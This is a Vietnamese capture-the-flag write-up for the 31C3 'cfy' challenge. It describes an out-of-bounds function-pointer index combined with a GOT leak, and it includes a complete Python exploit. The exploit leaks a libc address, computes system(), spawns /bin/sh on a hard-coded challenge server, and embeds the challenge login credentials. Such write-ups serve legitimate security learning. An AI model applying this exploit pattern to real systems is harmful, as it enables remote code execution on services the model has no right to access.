[Write Up] 31C3 cfy

Chạy chương trình, hiện ra 1 menu:

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

Chương trình parse input option vào như sau :

option người dùng nhận vào ở rbp-0xc

 

Kiểm tra giá trị rbp-0xc nếu bằng 3 thì thoát.

Nhận input người dung vào địa chỉ 0x6010e0 dùng option mà người dụng chọn tính ra hàm tương ứng cần gọi (0x601080 lưu địa chỉ các hàm : fromhex,fromdec,fromptr)

rax = (long *)0x601080[$(rbp-c)]; mov rdi,0x6010e0; call eax;

để ý lúc kiểm tra option nhập vào trương trình chỉ kiểm tra đk $(rbp-0xc) != 3 thì sẽ execute đoạn trên. Để ý địa chỉ input lớn hơn địa chỉ lưu trữ các hàm, nếu nhập input > 3 thì ta sẽ có : 0x601080 + $(rbp-0xc)*8 với 1 giá trị x của $(rbp-0xc) thì eax sẽ trỏ tới input của mình và mình có thể kiếm soát đc call eax.

Ngoài ra, hàm fromptr có thể cho phép mình đọc bất kỳ vùng nhớ nào.

Payload sẽ là:

- dùng hàm fromptr để leak địa chỉ 1 hàm trong libc, dự đoán phiên bản libc đang chạy trên server (ở đây là ubuntu 14.10) , có offset từ hàm đó đến system

- sử dụng bug trên để eax=system, và argv = /bin/sh

import socket
from struct import *
import telnetlib
# 116064
# Login: cfy_pwn // 31C3_G0nna_keep<on>grynding
def connect(host,port):
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,port))
	return s

def build_payload(system_addr):
	shell = '/bin/sh\x00'
	buff_addr = 0x6010e0
	func_addr = 0x601080

	payload = shell + '\x00'*8
	jmp_offset = 6 + (len(payload) >> 4)
	payload += pack('<Q',system_addr) + '\n'

	return (jmp_offset,payload)

def exploit():
	offset = 179728

	s = connect('188.40.18.73',3313)
	s.recv(1024) # banner
	# leak libc addr
	s.send('2\n')
	s.recv(1024)
	s.send(pack('<Q',0x601018) + '\n') # puts@got
	leak_addr_str = s.recv(1024).split('\n')
	leak_addr = int(leak_addr_str[1].replace('hex: ',''),16)

	system_addr = leak_addr - offset
	print '[+] system():',hex(system_addr)
	jmp_offset,payload = build_payload(system_addr)
	# send payload
	s.recv(1024)
	s.send(str(jmp_offset) + '\n')
	s.recv(1024)
	s.send(payload)

	# interact socket with stdin,stdout
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

exploit()